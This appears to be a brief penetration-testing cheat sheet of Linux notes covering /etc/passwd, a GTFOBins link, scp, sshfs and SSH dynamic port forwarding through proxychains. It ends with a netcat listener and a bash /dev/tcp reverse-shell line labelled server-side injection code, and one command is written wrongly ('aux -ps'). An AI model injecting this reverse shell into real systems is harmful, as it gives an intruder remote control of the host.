Something Interesting About Linux

Linux Introduction

Understand the /etc/passwd file
Understand /etc/group file
Very useful link: https://gtfobins.github.io

Useful Commands

crontab -l
aux -ps

SSH

scp [source_file] [user]@$IP:[destination_path]

Mount

sshfs [user]@$IP:[destination_path] [source_file]

SSH Tunnel Dynamic Port Forwarding

vim /etc/proxychains.conf (edit conf to set listening port)   
ssh -D <listening port> -l <username>        
proxychains <command> (nmap/firefox etc)

Reverse Shell

Listen Side:

nc -nlvp 12345

Server Side Injection Code:

Bash

/bin/bash -i >& /dev/tcp/&#60ip&#62/12345 0>&1